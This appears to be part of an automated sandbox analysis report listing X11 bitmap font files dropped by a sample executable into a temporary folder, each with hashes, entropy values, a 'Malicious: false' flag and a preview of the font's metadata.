Preview:	.fcp............\...............d...............d...X...........\4..............d....<.. ...........\|@..@............B...............F..........d....O............................... ....,...2....>...E....K...M....[...b....q...r........}.............K........K.................F.......................................!........*..../...h........o....g...z...........FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--14-130-75-75-C-70-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.......................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\7x14B-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	20460
Entropy (8bit):	3.1982686053020135
Encrypted:	false
SSDEEP:	96:aS+oxA2Nd/oxZo/k54FmlSoVgjWqEHR3bZ3Ea8OoIOll07e3xAl:aS+I9oP354YxzqYZTAGl
MD5:	0486097FBE3F3CC5E7C0F02D660559E2
SHA1:	14E8D6C2DCEFBA36B3C14625295733FC073C92A8
SHA-256:	BD42087F6997E5F161705CA3AABA144E71C59753FAA1D2358DB80D8BC2FF8DCC
SHA-512:	708AB12720B25F6FB2CA877B4F1B0F4BF3C96687649577A6CF875C261F026C5FA734DFC737971E5E28FFDCCA9366B98DEEDE96ED907877D04F94ADCA73B8AA15
Malicious:	false
Preview:	.fcp............X...............d...............d...T...........\4..............d....<.. ...........x@..@............B...............F..........d....O............................... ....,...2....>...C....I...K....Y...`....o...p........{.............K........K.................F................................................(....-...d........k....g...v...........FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--14-130-75-75-C-70-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\8x13-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19572
Entropy (8bit):	3.3013359278704764
Encrypted:	false
SSDEEP:	96:2uFZlgJ0f1SZPbf5g9MwbyFHlSoVgjWqEHR3bZ3Ea8OoIOll07eT:2urKJ0f1SZPbRwObxzqYZTAGI
MD5:	4DB35A98CD544ECA82E8518A0FEED4CC
SHA1:	491E52B1F507878ABAA83FD4EEC2D4EF1754AE7A
SHA-256:	325F347DB4AB1DA0A461414E62E4E142401B6296E9F519823B139CEAEFF82348
SHA-512:	8FD2B02418922D52758C38F14E721109CA42E9BE869B3C2B82D646C13E4E9D5A3B31A7ACCA28BC0CE8302BF72E4682CC1D35B137CD6A261075F79617FC550D24
Malicious:	false
Preview:	.fcp............\...............d...............d...X............0..............d....8.. ............=..@............?...............B..........d...,L............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................P.......................................!........*..../...h........o....k...z...........FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--13-120-75-75-C-80-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.......................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\8x13B-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	19568
Entropy (8bit):	3.3475194462534046
Encrypted:	false
SSDEEP:	96:aEb+RT1SZPbM4jtTFHlSoVgjWqEHR3bZ3Ea8OoIOll07erp:ac+51SZPb1TbxzqYZTAG6
MD5:	C2CC0FD5DCF20690B83CB77D6AD60423
SHA1:	DF91F70A0B60A4C3663BB398724E9DBA7DB1EDBE
SHA-256:	AA73B8787F3355B139A65DB894CB1B5E73CC342DD0244243702394190280B933
SHA-512:	E5DBA3BA4DC22571209D884CFB9246E4F702BFE8E44F21481C6C54A500CD2FFF435903AEE15904FF59D7A19A94A0FE16A364EED03DD9FB4F084C2B75607D3DD8
Malicious:	false
Preview:	.fcp............X...............d...............d...T............0..............d....8.. ............<..@............?...............B..........d...(L............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........K........K.................P................................................(....-...d........k....k...v...........FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--13-120-75-75-C-80-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\8x13O-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	17008
Entropy (8bit):	3.301624870848693
Encrypted:	false
SSDEEP:	96:2ZHEZlgJRQ/71SZPqMnrjf3LRR+ZOGXanbZ3Ea8OoIOll07erG:2ZIKJRe1SZPqGrjf3LRoZOUabZTAGn
MD5:	15F97163DDCEAA81C447BC0B43152D63
SHA1:	40A424F90FFD1A7C569B78D26C9B844BB2754C51
SHA-256:	9731E8EE5E8FE59D4CC8C209A036C50A406D9BF74FE00C7118D3C215A5B86435
SHA-512:	CED57F0A69A4CF4C68A3E8B4341D9ED2D147E5CF9DE3933B0C8EDB603D4D0EAC29C175014D234CFAF2876E68DE8875CA1A119B9938C9027600BBF6C67315817C
Malicious:	false
Preview:	.fcp............\...............d...................X.............. ...............81.. ............5..@............7...............:..........d...(B............................... ....,...2....>...E....K...M....[...b....q...r........}....x........K........K.................P.......................................!............/...h........o....k...z...........FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.O.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-O-Normal--13-120-75-75-C-80-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\8x16rk.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	18444
Entropy (8bit):	2.940669827995415
Encrypted:	false
SSDEEP:	96:OdiwCmlR2YR67iM7m2JA9Lqn+Q8wB6+IJoWA:OQwCmf8D7mfw+i6+I/A
MD5:	8BF742B6F4AF0B15904F8D107024CEDA
SHA1:	20D7EFB987332CB6A85A17AC72BB9B3FDDCABF87
SHA-256:	E439EF76891EB761406C100EF27CB33BEC2F3CDAA33599999BC5DD2830E3BB44
SHA-512:	CB1CDF5BA27D21B66A19103A7C640E9A0C28860F88B0014C9F81828F817882CC408FEA125CAFCE0109899DD0B1BB452D2D129A42117D9F325467BFF70A65126F
Malicious:	false
Preview:	.fcp............T...............d...................P............2...................9.. ...........X=..@...........$?..............$B..........d....G............................... ....,...2....>...E....K...M....[...b....q...r........}....x........d........d.................P.......................................`........g........r........{............FONTNAME_REGISTRY..FOUNDRY.Sony.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.JISX0201.1976.CHARSET_ENCODING.0.COPYRIGHT.Copyright (c) 1987, 1988 Sony Corp..FONT.-Sony-Fixed-Medium-R-Normal--16-120-100-100-C-80-JISX0201.1976-0.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH...............................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\9x15-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	21400
Entropy (8bit):	3.177951313005272
Encrypted:	false
SSDEEP:	96:KSlbltJ087vT/JeNG7G9xrlalllllllll4llllllllIlllllplllllllNOOhWll5:KSftJ0Yr7qLjQjxzqYZTAGc
MD5:	75703D57F16C46E90135777E34CAD933
SHA1:	C78501B83DC7B8E646CF4588FFAA84E1B632C6D0
SHA-256:	FCD6C8A19E3290CB2850AE20F0B10C12F8F74CC6130C187C5F6D32BAA0E2608C
SHA-512:	2D2D8829D7B685479880B3C87D1BC6414DCA7D5CE81FD628A0BDB0F60311839A5D58B9235BA67CE5B96D83928D360AF7B65CA1095F1BAA234C65E5575E2F3A3B
Malicious:	false
Preview:	.fcp............................d... ...........d................7..............d....?.. ...........$D..@...........4F...............I..........d...PS............................... ....,...2....>...E....K...M....[...b....q...r........}.............K........K.................Z.......................................!........*....7...O....T.................g..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT._GBDFED_INFO.Edited with gbdfed 1.3..FONT.-Misc-Fixed-Medium-R-Normal--15-140-75-75-C-90-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH..........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\9x15.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	565708
Entropy (8bit):	3.3915226710874684
Encrypted:	false
SSDEEP:	3072:YovPUQoQDLL6t4fjK8YRQw1HOBMOQOECJCy7GhQbCdrzxZj9xk95Z1sS6FfVD31t:YovcQXLdfH8uGhQbCd+I
MD5:	445ED009EEB1FF97F4E7A57DDDD9AF33
SHA1:	A87428E8C8FFC249663908D072AFCEF358280C06
SHA-256:	810BC61141AAC57F7B508304EB452ED7225398615D0F2E73117E527FC14D76E5
SHA-512:	BACDFF51F153966F8E6246DD6EE5CD3AA4BA10ED04D7360CFF648FD4DE4EEDB3BDF01C56727BF537300B437D21C53F5C9C7020E19C794FE919461B360D1AA97E
Malicious:	false
Preview:	.fcp............................d...$............]...................a...........]...... ............r..@.......0K.. r..........4...P...........d.................................... ....,...2....>...E....K...M....[...b....q...r........}.............K........K.................Z...................................%...>........I........R....W.................g..............FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy.._XMBDFED_INFO.Edited with xmbdfed 4.5..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Medium-R-Normal--15-140-75-75-C-90-ISO10646-1.WEIGHT.RESOLUTION.QUAD_WIDTH......................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\9x15B-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	21352
Entropy (8bit):	3.2128650939892713
Encrypted:	false
SSDEEP:	96:aF+H7vT/JeNG7E3AXpoT2v/LcLgHozQFllSoVgjWqEHR3bZ3Ea8OoIOll07eN:aF+xr7EQXpoTwALmwQJxzqYZTAGm
MD5:	51D4F7D906FA27CE7078FEBDF79F6294
SHA1:	AB455CA1F69C47CF6C65BA7E870E6B9954473D10
SHA-256:	74D440B3E4A2419E7870DDB3D302C71EE7A26BDE40D1D7F574D76DCA57886D2F
SHA-512:	3A1BA87B9FB73D3168BBA9702A3CFECD1BF2A557E306D6E3C95A40387834EAFC889E17A9AF31BADB9659F56A5C4E15B5E31AD6E1213CF6FA1FCDE3FCBE8A4CF0
Malicious:	false
Preview:	.fcp............X...............d...............d...T............7..............d....?.. ............C..@............F...............I..........d... S............................... ....,...2....>...C....I...K....Y...`....o...p........{.............K........K.................Z................................................(....-...d........k....g...v...........FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..X_HEIGHT.CAP_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--15-140-75-75-C-90-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\9x18-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	24076
Entropy (8bit):	2.9179000707622644
Encrypted:	false
SSDEEP:	96:K7KtlkJ0hvVxpRqL6G6qf2lllllllll9llllllllflllllvlllllllFOOeQzIll3:KqGJ0hvVZqL6HqrQ7QPxzqYZTAG1
MD5:	FE9C2E0ABCB22AEA9E3C0DD9AE4E3600
SHA1:	784B056A80018A9168CFEFA7E8E00337C30737FB
SHA-256:	A6D430DD0B4918DD535385FCE9AAA192349F074F8C675B0EAA7D9F5162A366EA
SHA-512:	C0847DF60A8AA8A95FCC88B0BB574B72DF9578911CEB44B08FBF277002754E02266A62DF7BF07D3AF8C88A7E2ABCBBE747FB9FCF803ECBA1E05FBAC516059CAF
Malicious:	false
Preview:	.fcp............................d... ...........d...............LB..............d...4J.. ............N..@............P..............,T..........d....]............................... ....,...2....>...E....K...M....[...b....q...r........}....x........d........d.................Z.......................................!........*....7...O....T................................FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT._GBDFED_INFO.Edited with gbdfed 1.3..FONT.-Misc-Fixed-Medium-R-Normal--18-120-100-100-C-90-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\9x18B-ISO8859-1.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	24028
Entropy (8bit):	2.9126272027926414
Encrypted:	false
SSDEEP:	96:aNu+2vVxpRqLibfkz5u9hrFllllllJllllllqlllllvqllduOH7uchz+DPPlolGz:ao+2vVZqLwczM9ZJrT3QPxzqYZTAGl
MD5:	324E4FBB3D6993C05BF0F4606F660CBE
SHA1:	18C6F7ADE6CD6342EDD84DAAB66F5B57E85F984D
SHA-256:	8ABB7BE2402117B9911CD0763557C20447CBD01F9521E95923E7DCB3D5327EB7
SHA-512:	B1845626E4E8B9D87648D6129B08776F7A1856D8863353992204DD73639372D17DDAC02272D1D32A3C123A00757B53B6F4DF1135BC1CB12ACB67C6432E73BCCF
Malicious:	false
Preview:	.fcp............X...............d...............d...T...........LB..............d....J.. ...........hN..@...........xP...............S..........d....]............................... ....,...2....>...C....I...K....Y...`....o...p........{....x........d........d.................Z................................................(....-...f........m........x...........FONTNAME_REGISTRY..FOUNDRY.Misc.FAMILY_NAME.Fixed.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO8859.CHARSET_ENCODING.1.COPYRIGHT.Public domain font. Share and enjoy..CAP_HEIGHT.X_HEIGHT.FONT.-Misc-Fixed-Bold-R-Normal--18-120-100-100-C-90-ISO8859-1.WEIGHT.RESOLUTION.QUAD_WIDTH.........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\clB8x12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	10572
Entropy (8bit):	3.096381835631208
Encrypted:	false
SSDEEP:	192:OX8OpppppppppppppppppppppppppppppppppppppppppppppppppppppppppppX:OX8zidy26FY6+P
MD5:	3C0B6FDE5A545A81432D3F26DFC3F38A
SHA1:	84009B2AC5443969177706CF85DD625599DF2DAB
SHA-256:	1851D8AFA5A65B7FF41F920B1F38B7244C47F24F419F54D281D1C5D4206FCD2D
SHA-512:	65F5E7DFB32173BD7D20B04D9AE4B150C80BD82CC4B6BB2CD5B10AAC01D629B4ADB0932F3E0EB0FD5380ECC6C60FC456688F6A569458ED18CB9A7E7ECD164E2D
Malicious:	false
Preview:	.fcp............T...............d...................P................................... ...........x"..@............#..........t....%..........d....)...............................&....2...8....D...I....O...Q...._...f....u...v.............x........K........K.................P.......................................b........i....g...t........}............FONTNAME_REGISTRY..FOUNDRY.Schumacher.FAMILY_NAME.Clean.WEIGHT_NAME.Bold.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO646.1991.CHARSET_ENCODING.IRV.COPYRIGHT.Copyright 1989 Dale Schumacher..FONT.-Schumacher-Clean-Bold-R-Normal--12-120-75-75-C-80-ISO646.1991-IRV.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH.............................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\clR8x12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	10576
Entropy (8bit):	3.079447085688168
Encrypted:	false
SSDEEP:	192:a5dKOppppppppppppppppppppppppppppppppppppppppppppppppppppppppppz:a50zidf0frFY6+P
MD5:	441BBF38824650A0A0EB23111633B03D
SHA1:	66E8459C1CB0637F8D7077825862DE2F1D4E3BDF
SHA-256:	B4C0127F5A0C923E1B00CCD8A48DCAD8ACB037792EDF0E05FBDB3FEC84C67CE5
SHA-512:	FDBC493A4562B10509BEACB524CB9EDFF012059313C5835F694DA581E54219D76AE852EEF67D326D4165F48B1A5463641313C249B4BFDA3047676751314E0969
Malicious:	false
Preview:	.fcp............X...............d...................T................................... ...........\|"..@............#..........t....%..........d....)...............................&....2...8....D...K....Q...S....a...h....w...x.............x........K........K.................P...................................!...f........m....g...x.....................FONTNAME_REGISTRY..FOUNDRY.Schumacher.FAMILY_NAME.Clean.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..PIXEL_SIZE.POINT_SIZE.RESOLUTION_X.RESOLUTION_Y.SPACING.C.AVERAGE_WIDTH.CHARSET_REGISTRY.ISO646.1991.CHARSET_ENCODING.IRV.COPYRIGHT.Copyright 1989 Dale Schumacher..FONT.-Schumacher-Clean-Medium-R-Normal--12-120-75-75-C-80-ISO646.1991-IRV.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH.........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\cu-alt12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	71892
Entropy (8bit):	3.577165862637111
Encrypted:	false
SSDEEP:	384:2mUli4s86znc/ub1oQTIjj7t6baC4IMEawAleppGs/kg+zQGYCj:2mU8B1t8j3t6mC/qk/eXj
MD5:	F3931F9A41F6E5914BCD37623447441F
SHA1:	ADC3C7F5D92B53DA688F18F27FA74A2884018815
SHA-256:	07CE652E28E327DEB526B293593899E9C607EF0952230C031FEDA84F886457D8
SHA-512:	A1B5766DB8BF77A984293F428354E7E509829B679D4C5136052E61690A28DF9577566B2EEC84B6F651DCEE8E3DC347A401394B0ECA592A2076CB50852E759DB3
Malicious:	false
Preview:	.fcp............................d...8................................... ........R..4...@.......d...D...........................d...........................D....x...O........Z....d...g....d...t....z................................................................................*...,....:...S........^........g....l.................................COPYRIGHT.2001 Computing Research Lab, New Mexico State University..POINT_SIZE.PIXEL_SIZE.RESOLUTION_X.RESOLUTION_Y.AVERAGE_WIDTH.SPACING.P.FOUNDRY.MUTT.FAMILY_NAME.ClearlyU Alternate Glyphs.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..CHARSET_REGISTRY.ISO10646.CHARSET_ENCODING.1._XMBDFED_INFO.Edited with xmbdfed 4.4..CAP_HEIGHT.X_HEIGHT.FONT.-MUTT-ClearlyU Alternate Glyphs-Medium-R-Normal--17-120-100-100-P-122-ISO10646-1.WEIGHT.RESOLUTION.QUAD_WIDTH...................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\cu-arabic12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	16404
Entropy (8bit):	3.69401508744287
Encrypted:	false
SSDEEP:	192:RtRDdDDB+Fdjr9Y9RxjjjTpSaCKy6iqSamtKy6LL4I5Js:FNBSgjjjTIPPPPPPc4IY
MD5:	4221DE4FEB809D9C65B6B9D33E3713F3
SHA1:	A3F79BC24DB9CD59F6182FE07455DFAE7224BA25
SHA-256:	76C3780164C158CA2C640BF88BB2489B2360DB46C806A17A09439C3C14A14031
SHA-512:	C9A85942C45943E4FB160DD201FE5981B28C5B5C5F1650539B18C6B37EB692262192E685F14CAA0BC43B9CC80DC171BA373F86E52DB7E753EDB270202C4965A5
Malicious:	false
Preview:	.fcp............................d...8.................................. ............1..@....... ...p3..........T....6..........d....?......................D....x...O........Z....d...g....d...t....e...................................................................................,....:...S........^........g....l.................................COPYRIGHT.2001 Computing Research Lab, New Mexico State University..POINT_SIZE.PIXEL_SIZE.RESOLUTION_X.RESOLUTION_Y.AVERAGE_WIDTH.SPACING.P.FOUNDRY.MUTT.FAMILY_NAME.ClearlyU Arabic Extra.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..CHARSET_REGISTRY.FontSpecific.CHARSET_ENCODING.0._XMBDFED_INFO.Edited with xmbdfed 4.4..CAP_HEIGHT.X_HEIGHT.FONT.-MUTT-ClearlyU Arabic Extra-Medium-R-Normal--17-120-100-100-P-101-FontSpecific-0.WEIGHT.RESOLUTION.QUAD_WIDTH...................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\cu-devnag12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	9564
Entropy (8bit):	3.9838796568186834
Encrypted:	false
SSDEEP:	96:mqAgBl2OMAKwuD1sSXSaaLU0CByhSaCKy6iq6KMhcC:mRy2OlCZSCByhSaCKy6iq64C
MD5:	B2945D98EBF8E6E7DB25EE7337549D70
SHA1:	0131840D8646E402585E68766BA43C09BF9E67B1
SHA-256:	F049B38BF80AAD927F3FC96C6F9201726BFAF29070EE9D77DA80B95EBBA41DD3
SHA-512:	B1B3EB700111C13E2CCE9679CE2371A378215BFA8D7CEDE9F99B51CC880D44891947EBAFE8CD1DC8F18F780A2FBAC15F74E5945A71607BD75464A5A1BE0FD61B
Malicious:	false
Preview:	.fcp............................d...,...........@....................... .......<.......@.......................d...............d...,%......................D....x...O........Z....d...g....d...t....i................................................................................-.../....=...V....[...........................................COPYRIGHT.2001 Computing Research Lab, New Mexico State University..POINT_SIZE.PIXEL_SIZE.RESOLUTION_X.RESOLUTION_Y.AVERAGE_WIDTH.SPACING.P.FOUNDRY.MUTT.FAMILY_NAME.ClearlyU Devangari Extra.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..CHARSET_REGISTRY.FontSpecific.CHARSET_ENCODING.0._XMBDFED_INFO.Edited with xmbdfed 4.4..FONT.-MUTT-ClearlyU Devangari Extra-Medium-R-Normal--17-120-100-100-P-105-FontSpecific-0.WEIGHT.RESOLUTION.X_HEIGHT.QUAD_WIDTH.............................................................................................................r..................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\cu-lig12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	5792
Entropy (8bit):	4.496429664543769
Encrypted:	false
SSDEEP:	48:gjlKcinhAcoigwGMLz6YiMadav34vqOanBTuvroesSsfIQ6/PREcbj:AEEtwxz6dyAy1uOzcP
MD5:	390B5329EF7F1D4B49EE39FF2CE1A727
SHA1:	E903FA7A826F79FF191065346B83444B0AAE84ED
SHA-256:	B9F13050F079F9DFE39E8B218324F0D2E1D8338BBB4A064026949A428CC8103C
SHA-512:	7832447B8A7893F651270BB33683C37F747F359D0CF1016471CC4FA634AD9C2C4AAA2DEC57A73A7C35BD3CB878CA9AA3152CE807EEA46EE751DC639300379A44
Malicious:	false
Preview:	.fcp............................d...0...........$....................... .......l...`...@.......................................d...p.......................D....x...O........Z....d...g....d...t.....................................................................................&...(....6...O........Z........c....h.................................COPYRIGHT.2001 Computing Research Lab, New Mexico State University..POINT_SIZE.PIXEL_SIZE.RESOLUTION_X.RESOLUTION_Y.AVERAGE_WIDTH.SPACING.P.FOUNDRY.MUTT.FAMILY_NAME.ClearlyU Ligature.WEIGHT_NAME.Medium.SLANT.R.SETWIDTH_NAME.Normal.ADD_STYLE_NAME..CHARSET_REGISTRY.FontSpecific.CHARSET_ENCODING.0._XMBDFED_INFO.Edited with xmbdfed 4.3..CAP_HEIGHT.X_HEIGHT.FONT.-MUTT-ClearlyU Ligature-Medium-R-Normal--17-120-100-100-P-141-FontSpecific-0.WEIGHT.RESOLUTION.QUAD_WIDTH............................................................................................................9..............................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\fonts\misc\cu-pua12.pcf

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	X11 Portable Compiled Font data, bit: MSB, byte: MSB first
Category:	dropped
Size (bytes):	18004
Entropy (8bit):	2.0285692863713
Encrypted:	false
SSDEEP:	48:gRY3ctzSkC1ZWl96lmR8E3+d3NuFvXEaOid0de+tNHhB0NTG2s11sTeBHW2omdQJ:giyzStSjlI3ef+wS5n/yhpQC/
MD5:	3234AC219A533D778DC1F9B570775DBB
SHA1:	7014FAB733724B761192366099C69CA80C78579F
SHA-256:	2869308F2A7381C371948FAFD8C352F01B129E8BEDA8F7229DF63BF9BED67A34
